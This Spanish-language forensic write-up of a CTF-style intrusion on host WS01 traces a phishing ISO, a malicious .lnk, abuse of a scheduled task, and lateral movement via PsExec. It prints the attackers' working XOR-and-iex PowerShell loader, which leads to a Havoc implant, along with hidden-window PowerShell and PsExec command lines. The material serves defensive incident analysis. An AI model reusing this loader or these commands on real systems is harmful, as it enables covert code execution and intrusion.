Contenido
- ¡WARNING! ¡LÉEME PRIMERO!
- Resumen ejecutivo.
- Antecedentes.
- Gestión del incidente
- 4.1. DC02 – 192.168.20.46
- 4.2. WS02 – 192.168.20.42
- 4.3. WS01 – 192.168.20.41
- 4.4. SRV01
- Conclusiones finales.
- Línea temporal del ataque.
- Impacto.
- Atribución.
- Lecciones aprendidas.
- Anexo A: IOC.
- FAQ (del meta, no del incidente).
WS01 – 192.168.20.41
Este equipo es el que ha ejecutado la parte cliente de PSEXEC contra WS02, por lo que se sospecha que puede ser el paciente cero del incidente.
Se ejecuta la herramienta Hayabusa con los logs de eventos, obteniendo los siguientes resultados:
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ Top critical alerts: Top high alerts: │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ Antivirus Password Dumper Detection (3) Suspicious Eventlog Clearing or Configuration Change Activity (295) │
│ Defender Alert (Severe) (3) Suspicious PowerShell Parameter Substring (6) │ n/a Script Interpreter Execution From Suspicious Folder (4) │ n/a ETW Trace Evasion Activity (3) │
│ n/a Antivirus Relevant File Paths Alerts (3) │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ Top medium alerts: Top low alerts: │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ Reg Key Value Set (Sysmon Alert) (939) n/a │
│ ISO Image Mounted (78) n/a │
│ Potentially Malicious PwSh (57) n/a │
│ Reg Key Create/Delete (Sysmon Alert) (55) n/a │
│ File Created (Sysmon Alert) (50) n/a │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
Se revisan las alertas, encontrando los siguientes resultados de interés:
- Detección de la herramienta Rubeus (Nota: posiblemente sea parte de la organización del CTF, siendo un residuo del mismo)
“2024-03-22 13:47:19.126 +01:00″,”Antivirus Password Dumper Detection”,”crit”,”WS01.megacorp.local”,”Defender”,1116,227,”Threat: VirTool:Win32/Kekeo.A!MTB ¦ Severity: Severe ¦ Type: Tool ¦ User: MEGACORP\mshutter ¦ Path: file:_\\tsclient\_home_ub_Documents_share-vm\Rubeus.exe ¦ Proc: C:\Windows\explorer.exe”,”Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 34 ¦ Detection ID: {BEDBBF2C-AE5A-45D1-A944-E75B145F29F8} ¦ Detection Time: 2024-03-22T12:46:41.065Z ¦ Engine Version: AM: 1.1.24020.9, NIS: 1.1.24020.9 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=VirTool:Win32/Kekeo.A!MTB&threatid=2147756241&enterprise=0 ¦ Origin ID: 2 ¦ Origin Name: Network share ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 4.18.24020.7 ¦ Remediation User: ¦ Security intelligence Version: AV: 1.407.622.0, AS: 1.407.622.0, NIS: 1.407.622.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Status Description: ¦ Threat ID: 2147756241 ¦ Type ID: 0 ¦ Type Name: Concrete ¦ Unused2: ¦ Unused3: ¦ Unused4: ¦ Unused5: ¦ Unused6: ¦ Unused:”
2) Ejecución de un Powershell posiblemente malicioso (p.ps1) con el usuario mshutter y desde el directorio E:\Factura. El directorio E: no es de sistema, y el nombre de factura evoca a las campañas de .iso maliciosos, que al montarse contenían .lnk u otros contenidos maliciososo:
“2024-03-22 12:26:39.331 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,15784,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”” -ep bypass -nop -w hidden -NoExit .\f\p.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\mshutter ¦ ParentCmdline: C:\Windows\Explorer.EXE ¦ LID: 0x5fa76c ¦ LGUID: 6A095527-648A-65FD-6CA7-5F0000000000 ¦ PID: 6996 ¦ PGUID: 6A095527-6AEF-65FD-B908-000000000900 ¦ ParentPID: 9132 ¦ ParentPGUID: 6A095527-648C-65FD-C901-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: E:\factura\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\explorer.exe ¦ RuleName: – ¦ TerminalSessionId: 3 ¦ UtcTime: 2024-03-22 11:26:39.308″
3) Ejecución del script C:\Schtask\check-updates.ps1 (directorio no habitual)
“2024-03-22 12:33:59.473 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,16141,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE”” -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\localadmin ¦ ParentCmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule ¦ LID: 0x19cfe1e ¦ LGUID: 6A095527-6CA7-65FD-1EFE-9C0100000000 ¦ PID: 14128 ¦ PGUID: 6A095527-6CA7-65FD-2C09-000000000900 ¦ ParentPID: 2472 ¦ ParentPGUID: 6A095527-632E-65FD-3100-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\System32\svchost.exe ¦ ParentUser: NT AUTHORITY\SYSTEM ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 11:33:59.452″
El fichero está en la MFT, por lo que se solicita a la Organización:
2024-01-21 01:03:25 2024-03-22 19:47:45 2024-03-22 11:31:55 2024-03-22 11:31:55 258 258 ps1 \Schtask\check-updates.ps1
4) Ejecución del script C:\Users\mshutter\OneDriveUpdater.ps1 (ya visto como malicioso en WS02):
“2024-03-22 20:49:04.185 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,27761,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”” -ep bypass -NoExit C:\Users\mshutter\OneDriveUpdater.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\mshutter ¦ ParentCmdline: C:\Windows\Explorer.EXE ¦ LID: 0xdf2bae ¦ LGUID: 6A095527-E055-65FD-AE2B-DF0000000000 ¦ PID: 8804 ¦ PGUID: 6A095527-E0B0-65FD-AB05-000000000A00 ¦ ParentPID: 6172 ¦ ParentPGUID: 6A095527-E057-65FD-5005-000000000A00 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=9D8E30DAF21108092D5980C931876B7E,SHA256=3247BCFD60F6DD25F34CB74B5889AB10EF1B3EC72B4D4B3D95B5B25B534560B8,IMPHASH=AFACF6DC9041114B198160AAB4D0AE77″,”CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.22621.3085 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\explorer.exe ¦ RuleName: – ¦ TerminalSessionId: 2 ¦ UtcTime: 2024-03-22 19:49:04.167″
El fichero está en la MFT, por lo que se solicita a la Organización:
2024-03-22 11:30:22 2024-03-22 11:30:22 2024-03-22 11:30:22 2024-03-22 11:30:22 303 303 ps1 \Users\mshutter\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
Se intenta buscar los 3 ficheros en la memoria RAM sin éxito. Se busca en los resultados de las cadenas de memoria, encontrando los siguientes resultados:
https://file[.]io/2UvVGDED0zrF cerca en posiciones de memoria de check-updates.ps1
Posible parte del contenido de check-updates.ps1:
3736187280 Add-Content -Path $logFilePath -Value “$((Get-Date).ToString(‘yyyy-MM-dd HH:mm:ss’)) – $updateResult”
3736187528 DetailSequence=1
3736187566 DetailTotal=1
3736187602 SequenceNumber=19
3736187646 UserId=MEGACORP\localadmin
3736187704 HostName=ConsoleHost
3736187750 HostVersion=5.1.22621.963
3736187806 HostId=616700e7-f79f-4db7-9ca6-01853ec10cf0
3736187898 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1
3736188166 EngineVersion=5.1.22621.963
3736188226 RunspaceId=80f98b78-0221-4799-8751-0116f8080a22
3736188326 PipelineId=2
3736188356 ScriptName=C:\Schtask\check-updates.ps1
3736188440 CommandLine=Add-Content -Path $logFilePath -Value “$((Get-Date).ToString(‘yyyy-MM-dd HH:mm:ss’)) – $updateResult”
3736188712 CommandInvocation(Add-Content): “Add-Content”
3736188806 ParameterBinding(Add-Content): name=”Path”; value=”C:\Windows\system32\result_check.txt”
3736188986 ParameterBinding(Add-Content): name=”Value”; value=”2024-03-22 12:00:01 – Updates are installed.”
5) Confirmación de la ejecución de PSEXEC contra WS02, lanzando el script de Powershell C:\update.ps1
“2024-03-22 12:41:06.718 +01:00″,”Script Interpreter Execution From Suspicious Folder”,”high”,”WS01.megacorp.local”,”Sysmon”,1,21173,”Cmdline: /c C:\Users\public\psexec.exe \\192.168.20.42 -accepteula powershell -ep bypass -NoExit C:\update.ps1 ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: MEGACORP\localadmin ¦ ParentCmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”” -Version 5.1 -s -NoLogo -NoProfile ¦ LID: 0x19cfe1e ¦ LGUID: 6A095527-6CA7-65FD-1EFE-9C0100000000 ¦ PID: 11184 ¦ PGUID: 6A095527-6E52-65FD-6C09-000000000900 ¦ ParentPID: 4628 ¦ ParentPGUID: 6A095527-6CC6-65FD-2E09-000000000900 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964″,”CurrentDirectory: C:\Users\Public\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 11:41:06.700″
6) Evidencia de que se ha montado una ISO con nombre factura, y ejecución desde el mismo del factura.lnk, que parece tener relación con la ejecución del script p.ps1, que a su vez posiblemente llame a enc.dat
“2024-03-22 12:26:17.856 +01:00″,”ISO Image Mounted”,”med”,”WS01.megacorp.local”,”Sec”,4663,6992,”User: mshutter ¦ ObjSvr: Security ¦ ObjName: \Device\CdRom0\ ¦ ObjType: File ¦ Proc: C:\Windows\explorer.exe ¦ PID: 0x23ac ¦ HID: 0x4054 ¦ LID: 0x5fa76c”,”AccessList: %%4416 ¦ AccessMask: 0x1 ¦ ResourceAttributes: ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1603″
“2024-03-22 12:26:31.992 +01:00″,”ISO Image Mounted”,”med”,”WS01.megacorp.local”,”Sec”,4663,7007,”User: mshutter ¦ ObjSvr: Security ¦ ObjName: \Device\CdRom0\factura\Factura.lnk ¦ ObjType: File ¦ Proc: C:\Windows\explorer.exe ¦ PID: 0x23ac ¦ HID: 0x5618 ¦ LID: 0x5fa76c”,”AccessList: %%4416 ¦ AccessMask: 0x1 ¦ ResourceAttributes: ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1603″
“2024-03-22 12:26:43.563 +01:00″,”ISO Image Mounted”,”med”,”WS01.megacorp.local”,”Sec”,4663,7062,”User: mshutter ¦ ObjSvr: Security ¦ ObjName: \Device\CdRom0\factura\f\p.ps1 ¦ ObjType: File ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ PID: 0x1b54 ¦ HID: 0x9f0 ¦ LID: 0x5fa76c”,”AccessList: %%4416 ¦ AccessMask: 0x1 ¦ ResourceAttributes: ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1603″
“2024-03-22 12:26:44.341 +01:00″,”ISO Image Mounted”,”med”,”WS01.megacorp.local”,”Sec”,4663,7066,”User: mshutter ¦ ObjSvr: Security ¦ ObjName: \Device\CdRom0\factura\f\enc.dat ¦ ObjType: File ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ PID: 0x1b54 ¦ HID: 0xa44 ¦ LID: 0x5fa76c”,”AccessList: %%4416 ¦ AccessMask: 0x1 ¦ ResourceAttributes: ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1603″
“2024-03-22 12:27:15.448 +01:00″,”ISO Image Mounted”,”med”,”WS01.megacorp.local”,”Sec”,4663,7089,”User: mshutter ¦ ObjSvr: Security ¦ ObjName: \Device\CdRom0\ ¦ ObjType: File ¦ Proc: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe ¦ PID: 0xd6c ¦ HID: 0x1a8 ¦ LID: 0x5fa76c”,”AccessList: %%4416 ¦ AccessMask: 0x1 ¦ ResourceAttributes: ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1603″
7) Ficheros creados en el equipo (detectados vía Sysmon):
Posible descarga del fichero malicioso:
“2024-03-22 12:26:00.643 +01:00″,”File Created (Sysmon Alert)”,”med”,”WS01.megacorp.local”,”Sysmon”,11,15722,”Rule: Downloads ¦ Path: C:\Users\mshutter\Downloads\d90a6f6b-bbdd-4f20-8396-a87fc7eecf86.tmp ¦ Proc: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe ¦ PID: 11176 ¦ PGUID: 6A095527-6A9F-65FD-7308-000000000900″,”CreationUtcTime: 2024-03-22 11:26:00.604 ¦ User: MEGACORP\mshutter ¦ UtcTime: 2024-03-22 11:26:00.606″
Descarga del fichero ISO malicioso de Internet
“2024-03-22 12:26:09.241 +01:00″,”File Created (Sysmon Alert)”,”med”,”WS01.megacorp.local”,”Sysmon”,11,15735,”Rule: Downloads ¦ Path: C:\Users\mshutter\Downloads\factura.iso:Zone.Identifier ¦ Proc: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe ¦ PID: 8284 ¦ PGUID: 6A095527-6ACB-65FD-AA08-000000000900″,”CreationUtcTime: 2024-03-22 11:26:00.604 ¦ User: MEGACORP\mshutter ¦ UtcTime: 2024-03-22 11:26:09.240″
Si vamos a la MFT e identificamos el factura.iso con MFTECmd comprobamos que existe en el sistema de ficheros:
105068,2,True,127272,2,.\Users\mshutter\Downloads,factura.iso,.iso,1769472,1,,False,True,False,False,False,False,Archive|HasEa,DosWindows,2024-03-22 11:26:00.6048934,,2024-03-22 11:26:09.4589136,2024-03-22 11:26:02.7501629,2024-03-22 11:26:17.5371795,2024-03-22 11:26:02.7658573,2024-03-22 12:45:31.8240800,2024-03-22 11:26:02.7648578,110122184,1362356708,2659,668e18f3-e83a-11ee-978c-2a008b286aea,,
MFTECmd permite obtener las URL de descarga de la propia MFT, accediendo al ZoneIdentifier:
MFTECmd.exe -f $MFT –de 105068
ASCII: [ZoneTransfer]
ZoneId=3
ReferrerUrl=https://www.file.io/
HostUrl=https://file.io/zgsJx9hcnscg
Se verifica que la ISO se montó accediendo al log de VHDMP:
https://docs.velociraptor.app/exchange/artifacts/pages/windows.detection.isomount/
Nombre de registro:Microsoft-Windows-VHDMP-Operational
Origen: Microsoft-Windows-VHDMP
Fecha: 22/03/2024 12:26:17
Id. del evento:22
Categoría de la tarea:Filewrapper Handle Create
Nivel: Información
Palabras clave:Activity
Usuario: S-1-5-21-2346594845-3239972734-3293769256-1603
Equipo: WS01.megacorp.local
Descripción:
Se inició la creación del identificador del archivo de copia de seguridad del disco virtual ‘\\?\C:\Users\mshutter\Downloads\factura.iso’.
Creación del enlace en el Startup con OneDrive.lnk (posible persistencia):
“2024-03-22 12:30:03.599 +01:00″,”File Created (Sysmon Alert)”,”med”,”WS01.megacorp.local”,”Sysmon”,11,15949,”Rule: T1023 ¦ Path: C:\Users\mshutter\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ PID: 5528 ¦ PGUID: 6A095527-6B0E-65FD-C608-000000000900″,”CreationUtcTime: 2024-03-22 11:30:03.590 ¦ User: MEGACORP\mshutter ¦ UtcTime: 2024-03-22 11:30:03.590″
Creación del fichero update.ps1
“2024-03-22 12:39:25.599 +01:00″,”File Created (Sysmon Alert)”,”med”,”WS01.megacorp.local”,”Sysmon”,11,17896,”Rule: Public ¦ Path: C:\Users\Public\update.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ PID: 4628 ¦ PGUID: 6A095527-6CC6-65FD-2E09-000000000900″,”CreationUtcTime: 2024-03-22 11:39:25.587 ¦ User: MEGACORP\localadmin ¦ UtcTime: 2024-03-22 11:39:25.587″
Descarga de psexec.exe
“2024-03-22 12:39:47.660 +01:00″,”File Created (Sysmon Alert)”,”med”,”WS01.megacorp.local”,”Sysmon”,11,20081,”Rule: Public ¦ Path: C:\Users\Public\psexec.exe ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ PID: 4628 ¦ PGUID: 6A095527-6CC6-65FD-2E09-000000000900″,”CreationUtcTime: 2024-03-22 11:39:47.650 ¦ User: MEGACORP\localadmin ¦ UtcTime: 2024-03-22 11:39:47.650″
Se investiga la MFT en busca de ficheros de interés adicionales encontrando los siguientes:
Fichero en el mismo directorio que update.ps1 (posible shellcode):
2024-03-22 11:32:12 2024-03-22 19:47:45 2024-03-22 11:32:12 2024-03-22 11:32:12 521159 dat \Schtask\update.dat
Se solicita el fichero a la Organización.
Se examinan los Prefetch del equipo con WinPrefetchView, encontrando múltiples evidencias de actividades de reconocimiento (whoami, net y systeminfo):
Se revisa la navegación del equipo, comprobando la actividad de los dos enlaces de file.io en el marco temporal del incidente:
URL Title Visit Time Visit Count Visited From Visit Type Visit Duration Web Browser User Profile Browser Profile URL Length Typed Count History File Record ID
https://file.io/2UvVGDED0zrF 22/03/2024 12:23:11 1 Internet Explorer 10/11 / Edge mshutter 28 C:\Users\antonio\Desktop\C\Users\mshutter\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat 29
URL Title Visit Time Visit Count Visited From Visit Type Visit Duration Web Browser User Profile Browser Profile URL Length Typed Count History File Record ID
https://file.io/ufFVdF8eLeK8 Deleted | file.io 22/03/2024 12:25:08 1 Edge (Chromium-based) mshutter Default 28 C:\Users\antonio\Desktop\C\Users\mshutter\AppData\Local\Microsoft\Edge\User Data\Default\History 22
URL Title Visit Time Visit Count Visited From Visit Type Visit Duration Web Browser User Profile Browser Profile URL Length Typed Count History File Record ID
https://file.io/zgsJx9hcnscg Download | file.io 22/03/2024 12:25:57 1 Edge (Chromium-based) mshutter Default 28 C:\Users\antonio\Desktop\C\Users\mshutter\AppData\Local\Microsoft\Edge\User Data\Default\History 25
El segundo enlace de file.io no parece conocido, se añade al listado de IOC conocidos. Se realiza una búsqueda en la memoria RAM, encontrando el correo que inicia el incidente:
67738352 De: contabilidad megacorp <contabilidadm3gac0rp@gmail.com <mailto:contabilidadm3gac0rp@gmail.com> >
67738556 Enviado: jueves, 21 de marzo de 2024 10:29
67738646 Para: Marc Shutter <m.shutter@outlook.es <mailto:m.shutter@outlook.es> >
67738796 Asunto: Re: FACTURA ULTRACORP
67738870 Perdona Marc,
67738906 con las fallas ha sido una semana muy mala….
67739008 te vuelvo a pasar el link
67739068 https://file.io/ufFVdF8eLeK8
67739134 On Thu, Mar 21, 2024 at 11:27
67739196 AM Marc Shutter <m.shutter@outlook.es <mailto:m.shutter@outlook.es> > wrote:
67739362 Buenas,
67739388 No he podido abrir el archivo al descargarlo.
67739486 Podr
67739496 as mand
67739512 rmelo de nuevo?
67739550 Gracias,
67739578 Mark
67739612 De: contabilidad
Tras llevar a cabo un timeline de las acciones de los atacantes en el equipo, se llegan a las siguientes conclusiones:
- El 21 de marzo los atacantes envían a m.shutter un correo malicioso con un enlace.
- Mshutter pincha en el enlace, descargando el fichero factura.iso y montándolo.
- A continuación, pincha en el enlace factura.lnk, comprometiendo el equipo.
- Los atacantes ejecutan update.ps1 en el equipo con la cuenta de localadmin
- Los atacantes copian con update.ps1 a WS02 y lo ejecutan con PsExec, ambos con la cuenta de localadmin.
El análisis no indica cómo los atacantes se han hecho con la cuenta de localadmin. Para ello, se revisan los eventos de Sysmon en busca de la primera aparición de comandos ejecutados con el usuario localadmin, encontrando esta secuencia:
2024-03-22 11:33:37.9913590 Process creation MEGACORP\mshutter ParentProcess: C:\Windows\System32\cmd.exe ParentCommandLine: /c schtasks /end /tn “Check windows updates” schtasks /end /tn “Check windows updates” CommandLine: schtasks /end /tn ‘Check windows updates’
2024-03-22 11:33:38.1143270 Process creation MEGACORP\localadmin ParentProcess: C:\Windows\System32\svchost.exe ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule taskhostw.exe “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE” -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1 CommandLine: taskhostw.exe “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE” -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1 taskhostw.exe
La tarea programada, como se ha visto antes, se ejecuta como SYSTEM, y el script que ejecuta está en un directorio no protegido. Se tiene la teoría de que los atacantes, con la cuenta de mshutter, han podido editar el script para que ejecute contenido malicioso.
La Organización facilita un .zip con los ficheros update.ps1 y update.dat, procediéndose a su análisis.
$ md5sum *
aa94508c0bc92c83c6a4c05f282d4e7c update.dat
caae609b0d61f7d31682df102f312107 update.ps1
$ file *
update.dat: data
update.ps1: ASCII text, with CRLF line terminators
Ninguno de los hashes está presente en VirusTotal. El contenido de update.ps1 es el siguiente:
# Start the process
Start-Process .\f\factura.pdf
# Define the key for decryption
$key = 0x10
# Path to the encrypted file
$encryptedFilePath = Join-Path $PSScriptRoot “enc.dat”
$encryptedFilePath = “.\f\enc.dat”
# Read the encrypted content
$encryptedContent = [IO.File]::ReadAllBytes($encryptedFilePath)
# Decrypt the content using bitwise XOR
$decryptedContent = $encryptedContent | ForEach-Object { $_ -bxor $key }
# Convert the decrypted content to UTF-8 string and execute as PowerShell command
[System.Text.Encoding]::UTF8.GetString($decryptedContent) | iex
El script coge el contenido del .dat, lo descifra con la clave XOR 0x10 y lo ejecuta. Para obtener el código ejecutado, se modifica el script para que en lugar de ejecutar el posible shellcode con iex lo escriba por pantalla:
# Convert the decrypted content to UTF-8 string and execute as PowerShell command
[System.Text.Encoding]::UTF8.GetString($decryptedContent) | write-output
El resultado es un fichero de alrededor de 1Mb. El contenido es otro código de Powershell que coge un shellcode y lo ejecuta como el servicio WindowsUpdateService (intento de ocultación haciéndose pasar por actualizaciones de Windows).
Se envía el shellcode al equipo de análisis de malware, que confirma que se trata de una muestra de Havoc, con C2 la dirección IP 200.234.235[.]200
Speak Your Mind